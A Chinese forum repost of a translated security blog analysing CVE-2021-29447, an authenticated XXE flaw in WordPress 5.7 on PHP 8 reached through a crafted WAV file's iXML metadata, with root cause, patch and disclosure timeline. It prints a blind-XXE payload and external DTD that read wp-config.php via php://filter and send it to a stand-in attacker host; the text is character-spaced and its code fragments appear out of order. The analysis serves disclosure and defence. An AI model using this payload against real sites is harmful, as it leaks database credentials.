搜索

[28902] 2021-05-01_WordPress5.7XXE漏洞分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-05-01_WordPress5.7XXE漏洞分析 W o r d P r e s s   5 . 7   X X E 漏 洞 分 析 O t s 安 全   2 0 2 1 - 0 5 - 0 1 在 S o n a r S o u r c e ， 我 们 正 在 不 断 改 进 代 码 分 析 器 和 安 全 规 则 。 最 近 ， 我 们 改 进 了 P H P 安 全 引 擎 ， 以 检 测 更 多 O W A S P   T o p   1 0 和 C W E   T o p   2 5 问 题 类 型 。 当 针 对 一 些 最 受 欢 迎 的 开 源 P H P 项 目 测 试 我 们 的 新 分 析 器 时 ， W o r d P r e s s 代 码 库 中 提 出 了 一 个 有 趣 的 问 题 。 W o r d P r e s s 是 世 界 上 最 受 欢 迎 的 内 容 管 理 系 统 ， 大 约 4 0 ％ 的 网 站 使 用 W o r d P r e s s   。 这 种 广 泛 采 用 使 其 成 为 网 络 罪 犯 的 首 要 目 标 之 一 。 安 全 社 区 和 漏 洞 赏 金 猎 人 对 它 的 代 码 进 行 了 严 格 的 审 查 ， 这 些 赏 金 猎 人 因 报 告 安 全 问 题 而 获 得 报 酬 。 关 键 的 代 码 问 题 很 少 会 碰 到 他 们 。   在 此 博 客 文 章 中 ， 我 们 正 在 调 查 分 析 器 报 告 的 新 漏 洞 。 我 们 将 解 释 与 P H P   8 相 关 的 根 本 原 因 ， 并 演 示 攻 击 者 如 何 利 用 它 来 破 坏 W o r d P r e s s 安 装 的 安 全 性 。 我 们 负 责 地 向 W o r d P r e s s 安 全 团 队 披 露 了 该 代 码 漏 洞 ， 该 漏 洞 已 在 最 新 版 本 5 . 7 . 1 中 修 复 并 分 配 了 C V E - 2 0 2 1 - 2 9 4 4 7 。 影 响 影 响 检 测 到 的 代 码 漏 洞 是 经 过 身 份 验 证 的 X M L 外 部 实 体 （ X X E ） 注 入 。 它 会 影 响 5 . 7 . 1 之 前 的 W o r d P r e s s 版 本 ， 并 且 可 以 允 许 远 程 攻 击 者 实 现 以 下 目 的 ： 任 意 文 件 公 开 ： 任 意 文 件 公 开 ： 可 以 检 索 主 机 文 件 系 统 上 任 何 文 件 的 内 容 ， 例 如 w p - c o n f i g . p h p ， 其 中 包 含 敏 感 数 据 ， 例 如 数 据 库 凭 据 。 服 务 器 端 请 求 伪 造 （ 服 务 器 端 请 求 伪 造 （ S S R F ） ： ） ： 可 以 代 表 W o r d P r e s s 安 装 发 出 H T T P 请 求 。 根 据 环 境 的 不 同 ， 这 可 能 会 产 生 严 重 的 影 响 。 仅 当 W o r d P r e s s 在 P H P   8 上 运 行 时 ， 才 能 利 用 此 漏 洞 。 此 外 ， 还 需 要 具 有 上 载 媒 体 文 件 的 权 限 。 在 标 准 的 W o r d P r e s s 安 装 上 ， 这 意 味 着 拥 有 作 者 权 限 。 但 是 ， 与 允 许 访 问 者 上 载 媒 体 文 件 的 另 一 个 漏 洞 或 插 件 结 合 使 用 时 ， 可 以 以 较 低 的 特 权 来 利 用 它 。 W o r d P r e s s 于 2 0 2 1 年 4 月 1 4 日 发 布 了 安 全 和 维 护 更 新 ， 以 修 补 该 漏 洞 并 保 护 其 用 户 。 技 术 细 节 技 术 细 节 在 本 节 中 ， 我 们 将 仔 细 研 究 该 漏 洞 的 技 术 细 节 。 首 先 ， 我 们 简 要 回 顾 一 下 X X E 漏 洞 是 什 么 。 然 后 ， 我 们 通 过 查 看 分 析 器 在 代 码 中 的 位 置 ， 深 入 分 析 了 分
析 器 在 W o r d P r e s s 核 心 中 报 告 的 漏 洞 ， 以 及 为 什 么 它 已 尝 试 在 P H P   8 中 再 次 被 利 用 ， 即 使 我 们 已 尽 力 防 止 在 受 影 响 的 代 码 行 中 出 现 此 类 漏 洞 。 。 最 后 ， 我 们 演 示 了 攻 击 者 如 何 通 过 使 用 特 制 输 入 提 取 w p - c o n f i g . p h p 文 件 来 利 用 它 ， 以 及 如 何 防 止 该 漏 洞 。 X M L 外 部 实 体 （ 外 部 实 体 （ X X E ） 漏 洞 ） 漏 洞 X M L 提 供 了 定 义 可 在 整 个 文 档 中 重 用 的 自 定 义 实 体 的 可 能 性 。 例 如 ， 这 可 以 用 来 避 免 重 复 。 以 下 代 码 定 义 了 实 体 m y E n t i t y 以 便 进 一 步 使 用 。 定 义 的 实 体 的 值 也 可 以 源 自 U R I 引 用 的 外 部 源 。 在 这 种 情 况 下 ， 它 们 称 为 外 部 实 体 ： X X E 攻 击 滥 用 了 此 功 能 。 当 在 用 户 控 制 的 内 容 上 运 行 松 散 配 置 的 X M L 解 析 器 时 ， 它 们 是 可 能 的 。 松 散 配 置 通 常 意 味 着 在 结 果 中 所 有 实 体 都 被 其 对 应 的 值 替 换 。 例 如 ， 在 最 后 一 个 示 例 中 ， 如 果 攻 击 者 将 提 供 文 件 ： / / / v a r / w w w / w p - c o n f i g . p h p 作 为 U R I 并 能 够 查 看 解 析 的 X M L 的 结 果 ， 则 她 将 成 功 泄 漏 敏 感 文 件 的 内 容 。 但 是 ， 解 析 后 的 X M L 的 结 果 并 不 总 是 显 示 回 给 用 户 ， 本 文 中 描 述 的 W o r d P r e s s 漏 洞 就 是 这 种 情 况 。 正 如 我 们 稍 后 将 看 到 的 ， 有 一 些 方 法 可 以 解 决 这 个 问 题 。 这 是 X X E 背 后 的 主 要 思 想 和 机 制 （ 在 规 则 数 据 库 中 了 解 更 多 信 息 ） 。 除 了 敏 感 文 件 泄 露 外 ， X X E 还 可 能 产 生 其 他 影 响 ， 例 如 服 务 器 端 请 求 伪 造 （ 要 检 索 外 部 实 体 的 内 容 ， 必 须 发 出 请 求 ， S 5 1 4 4 ） ， 以 及 拒 绝 服 务 （ 实 体 可 以 引 用 其 他 实 体 导 致 ） 。 替 代 过 程 中 的 可 能 指 数 增 长 ， 也 就 是 十 亿 次 笑 声 攻 击 （ ） 。 W o r d P r e s s 中 的 中 的 X X E W o r d P r e s s 有 一 个 媒 体 库 ， 使 经 过 身 份 验 证 的 用 户 可 以 上 传 媒 体 文 件 ， 然 后 可 以 在 其 博 客 文 章 中 使 用 它 们 。 为 了 从 这 些 媒 体 文 件 中 提 取 元 信 息 ， 例 如 艺 术 家 名 称 或 标 题 ， W o r d P r e s s 使 用 了 g e t I D 3 库 。 其 中 一 些 元 数 据 以 X M L 格 式 进 行 解 析 。 在 这 里 ， 我 们 的 分 析 仪 报 告 了 可 能 的 X X E 漏 洞 （ 7 3 0 行 ） 。 w p - i n c l u d e s   /   I D 3   /   g e t i d 3 . l i b . p h p 使 用 的 s i m p l e x m l _ l o a d _ s t r i n g （ ）   f u n c t i o n 是 一 个 P H P 函 数 ， 它 解 析 作 为 X M L 传 递 给 其 第 一 个 参 数 的 字 符 串 。 可 以 使 用 在 第 三 个 参 数 中 传 递 的 标 志 来 配 置 基 础 X M L 解 析 器 （ P H P 依 赖 L i b x m l 2 ） 。 所 显 示 的 代 码 段 中 的 注 释 特 别 引 人 关 注 ， 因 为 它 们 提 到 了 针 对 X X E 的 保 护 。 在 查 看 静 态 代 码 分 析 器 的 发 现 时 阅 读 它 们 可 能 会 引 起 怀 疑 ， 它 是 一 个 假 阳 性 ， 并 且 已 经 采 取 了 正 确 的 预 防 措 施 来 避 免 此 漏 洞 。 但 是 ， 是 吗 ？ （ 剧 透 ： 没 有 ） 为 了 更 好 地 理 解 代 码 和 周 围 的 注 释 ， 查 看 其 历 史 记 录 很 有 用 。 2 0 1 4 年 ， W o r d P r e s s   3 . 9 . 2 中 修 复 了 一 个 X X E 漏 洞 。 这 是 调 用 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r （ t r u e ） 的 主 要 原 因   在 这 一 点 上 被 添 加 。 P H P 函 数 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r （ ）   配 置 X M L 解 析 器 以 禁 用 外 部 实 体 加 载 。 < ! D O C T Y P E   m y D o c   [   < ! E N T I T Y   m y E n t i t y   " a   l o n g   v a l u e "   >   ] > < m y D o c > < f o o > & m y E n t i t y ; < / f o o > < b a r > & m y E n t i t y ; < / b a r > < / m y D o c > < ! D O C T Y P E   m y D o c   [   < ! E N T I T Y   m y E x t e r n a l E n t i t y   S Y S T E M   " h t t p : / / … . . c o m / v a l u e . t x t "   >   ] > < m y D o c > < f o o > & m y E x t e r n a l E n t i t y ; < / f o o > < m y D o c > 7 2 3         i f   ( P H P _ V E R S I O N _ I D   <   8 0 0 0 0 )   { 7 2 4 7 2 5                 / /   T h i s   f u n c t i o n   h a s   b e e n   d e p r e c a t e d   i n   P H P   8 . 0   b e c a u s e   i n   l i b x m l   2 . 9 . 0 ,   e x t e r n a l   e n t i t y   l o a d i n g   i s 7 2 6                 / /   d i s a b l e d   b y   d e f a u l t ,   s o   t h i s   f u n c t i o n   i s   n o   l o n g e r   n e e d e d   t o   p r o t e c t   a g a i n s t   X X E   a t t a c k s . 7 2 8                 $ l o a d e r   =   l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; 7 2 9         } 7 3 0         $ X M L o b j e c t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ X M L s t r i n g ,   ' S i m p l e X M L E l e m e n t ' ,   L I B X M L _ N O E N T ) ;
最 近 ， 随 着 P H P   8 的 发 布 ， 对 代 码 进 行 了 一 些 改 动 ， 以 适 应 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r （ ） 的 弃 用 。 函 数 ， 并 且 仅 当 正 在 运 行 的 P H P 版 本 早 于 8 时 才 调 用 它 。 不 推 荐 使 用 此 函 数 ， 因 为 较 新 的 P H P 版 本 使 用 L i b x m l 2   v 2 . 9   +   （ 默 认 情 况 下 会 禁 用 外 部 实 体 获 取 ） 。 现 在 ， 我 们 正 在 查 看 的 代 码 中 的 微 妙 之 处 是 s i m p l e x m l _ l o a d _ s t r i n g （ ）   不 使 用 默 认 配 置 调 用 。 即 使 名 称 可 能 不 建 议 使 用 ， 标 志 L I B X M L _ N O E N T   启 用 实 体 替 换 。 出 乎 意 料 的 是 ， 在 这 种 情 况 下 ， N O E N T 意 味 着 结 果 中 将 不 留 任 何 实 体 ， 因 此 将 提 取 并 替 换 外 部 实 体 。 结 果 ， 在 运 行 于 P H P   8 的 W o r d P r e s s 实 例 上 ， 再 次 利 用 了 W o r d P r e s s   3 . 9 . 2 中 修 复 的 X X E 漏 洞 成 为 可 能 。 开 发 开 发 要 利 用 所 描 述 的 漏 洞 ， 必 须 了 解 用 户 控 制 的 数 据 是 否 以 及 如 何 达 到 将 其 解 析 为 $   X M L s t r i n g 一 部 分 的 X M L 的 程 度 。 变 量 在 ： w p - i n c l u d e s   /   I D 3   /   g e t i d 3 . l i b . p h p 当 文 件 上 传 到 媒 体 库 时 ， W o r d P r e s s 使 用 g e t I D 3 简 化 了 此 元 数 据 的 提 取 。 对 g e t I D 3 库 的 研 究 表 明 ， 当 分 析 其 字 符 串 的 元 数 据 时 ， 此 时 解 析 的 字 符 串 是 w a v e 音 频 文 件 的 i X M L 块 。 w p - i n c l u d e s   /   I D 3   /   m o d u l e . a u d i o - v i d e o . r i f f . p h p W o r d P r e s s 确 实 允 许 上 传 W a v e 音 频 文 件 ， 并 使 用 w p _ r e a d _ a u d i o _ m e t a d a t a （ ） 提 取 其 元 数 据 。 函 数 （ 依 赖 于 g e t I D 3 ） 。 因 此 ， 通 过 上 传 制 作 的 w a v e 文 件 ， 可 以 注 入 和 解 析 恶 意 X M L 。 可 以 使 用 以 下 内 容 创 建 一 个 最 小 文 件 ， 该 文 件 具 有 要 作 为 w a v e 处 理 的 必 要 结 构 ， 并 且 在 i X M L 块 中 包 含 攻 击 有 效 载 荷 ： （ B B B B 是 四 个 字 节 ， 以 小 尾 数 表 示 X M L 有 效 负 载 的 长 度 。 ） 盲 X X E 当 攻 击 者 使 用 描 述 的 策 略 注 入 有 效 负 载 时 ， 已 解 析 X M L 的 结 果 不 会 显 示 在 用 户 界 面 中 。 因 此 ， 要 提 取 敏 感 文 件 （ 例 如 w p - c o n f i g . p h p ） 的 内 容 ， 攻 击 者 必 须 依 靠 盲 目 的 X X E 技 术 （ 也 称 为 带 外 X X E ） 来 实 现 此 目 的 。 这 类 似 于 我 们 先 前 关 于 利 用 S h o p w a r e 的 博 客 文 章 中 描 述 的 技 术 。 基 本 思 想 是 这 样 的 ： 创 建 第 一 个 外 部 实 体 （ 例 如 ％ d a t a ） ， 其 值 将 替 换 为 文 件 的 内 容 。 创 建 另 一 个 外 部 实 体 ， 其 U R I 设 置 为 “   h t t p : / / a t t a c k e r _ d o m a i n . c o m / ％ d a t a   ;   ” 。 请 注 意 ， U R I 的 值 包 含 将 被 替 换 的 第 一 个 实 体 。 当 解 析 第 二 个 实 体 时 ， 解 析 器 将 向 “   h t t p : / / a t t a c k e r _ d o m a i n . c o m /   _ S U B S T I T U T E D _ d a t a   ” 发 出 请 求 ， 从 而 使 文 件 的 内 容 在 W e b 服 务 器 的 日 志 中 可 见 。 为 了 使 外 部 实 体 的 U R I 依 赖 于 另 一 个 替 换 实 体 的 值 ， 我 们 确 实 使 用 了 参 数 实 体 和 外 部 D T D 。 此 外 ， 我 们 利 用 p h p ： / / 流 包 装 器 来 压 缩 和 编 码 文 件 的 内 容 。 放 在 一 起 ， 以 下 内 容 将 导 致 提 取 敏 感 的 w p - c o n f i g . p h p 文 件 ： 有 效 负 载 有 效 负 载 7 2 1         p u b l i c   s t a t i c   f u n c t i o n   X M L 2 a r r a y ( $ X M L s t r i n g )   { … 7 3 0                 $ X M L o b j e c t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ X M L s t r i n g ,   ' S i m p l e X M L E l e m e n t ' ,   L I B X M L _ N O E N T ) ; 4 2 6         i f   ( i s s e t ( $ t h i s f i l e _ r i f f _ W A V E [ ' i X M L ' ] [ 0 ] [ ' d a t a ' ] ) )   { 4 2 7                 / /   r e q u i r e s   f u n c t i o n s   s i m p l e x m l _ l o a d _ s t r i n g   a n d   g e t _ o b j e c t _ v a r s 4 2 8                 i f   ( $ p a r s e d X M L   =   g e t i d 3 _ l i b : : X M L 2 a r r a y ( $ t h i s f i l e _ r i f f _ W A V E [ ' i X M L ' ] [ 0 ] [ ' d a t a ' ] ) )   { R I F F X X X X W A V E B B B B i X M L _ O U R _ P A Y L O A D _ R I F F X X X X W A V E B B B B i X M L < ! D O C T Y P E   r   [ < ! E L E M E N T   r   A N Y   > < ! E N T I T Y   %   s p   S Y S T E M   " h t t p : / / a t t a c k e r - u r l . d o m a i n / x x e . d t d " > % s p ; % p a r a m 1 ; ] >
（ B B B B 是 四 个 字 节 ， 以 小 尾 数 表 示 X M L 有 效 负 载 的 长 度 。 ） x x e . d t d 修 补 修 补 W o r d P r e s s 通 过 重 新 引 入 对 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r （ ） 的 调 用 来 修 补 了 5 . 7 . 1 版 中 的 漏 洞 。 P H P   8 中 不 推 荐 使 用 的 函 数 ， 即 使 是 较 新 的 P H P 版 本 。 为 了 避 免 P H P 弃 用 警 告 ， 请 使 用 P H P 错 误 抑 制 运 算 符 @   已 添 加 到 通 话 中 。 w p - i n c l u d e s   /   I D 3   /   g e t i d 3 . l i b . p h p 重 新 引 入 对 不 推 荐 使 用 的 函 数 的 调 用 的 另 一 种 方 法 是 使 用 P H P 的 l i b x m l _ s e t _ e x t e r n a l _ e n t i t y _ l o a d e r （ ） 函 数 。 根 据 P H P 文 档 ， 这 是 推 荐 的 方 法 。 在 需 要 加 载 特 定 资 源 的 情 况 下 ， 它 还 允 许 对 外 部 实 体 加 载 器 进 行 更 精 细 的 控 制 。 当 然 ， 只 有 在 P H P   8 中 确 实 需 要 实 体 替 换 的 情 况 下 ， 才 需 要 这 样 做 。 时 间 线 时 间 线 0 4 . 0 2 . 2 0 2 1   我 们 在 H a c k e r o n e 上 报 告 P o C 的 漏 洞 0 5 . 0 2 . 2 0 2 1   W o r d P r e s s 确 认 收 到 报 告 0 1 . 0 3 . 2 0 2 1   W o r d P r e s s 向 我 们 更 新 了 有 关 分 类 和 正 在 进 行 的 修 复 的 信 息 0 8 . 0 3 . 2 0 2 1   概 括 概 括 在 此 博 客 文 章 中 ， 我 们 研 究 了 在 最 流 行 的 内 容 管 理 系 统 W o r d P r e s s 中 发 现 的 一 个 有 趣 的 X X E 漏 洞 。 它 允 许 经 过 身 份 验 证 的 攻 击 者 从 主 机 服 务 器 泄 漏 敏 感 文 件 ， 这 可 能 会 导 致 完 全 破 坏 。 我 们 展 示 了 这 种 漏 洞 的 工 作 方 式 ， 以 及 攻 击 者 如 何 通 过 使 用 盲 目 的 X X E 技 术 来 利 用 它 。 此 外 ， 我 们 了 解 了 P H P   8 代 码 中 的 一 个 相 关 陷 阱 ， 以 及 开 发 人 员 如 何 在 自 己 的 应 用 程 序 中 防 止 这 种 类 型 的 代 码 漏 洞 。 我 们 要 感 谢 W o r d P r e s s 团 队 在 新 的 补 丁 程 序 发 布 过 程 中 的 出 色 协 作 和 快 速 解 决 方 案 。 < r > & e x f i l ; < / r > > < ! E N T I T Y   %   d a t a   S Y S T E M   " p h p : / / f i l t e r / z l i b . d e f l a t e / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = . . / w p - c o n f i g . p h p " > < ! E N T I T Y   %   p a r a m 1   " < ! E N T I T Y   e x f i l   S Y S T E M   ' h t t p : / / a t t a c k e r - u r l . d o m a i n / ? % d a t a ; ' > " > 7 2 1         p u b l i c   s t a t i c   f u n c t i o n   X M L 2 a r r a y ( $ X M L s t r i n g )   { … 7 2 7             $ l o a d e r   =   @ l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; 7 2 8             $ X M L o b j e c t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ X M L s t r i n g ,   ' S i m p l e X M L E l e m e n t ' ,   L I B X M L _ N O E N T ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理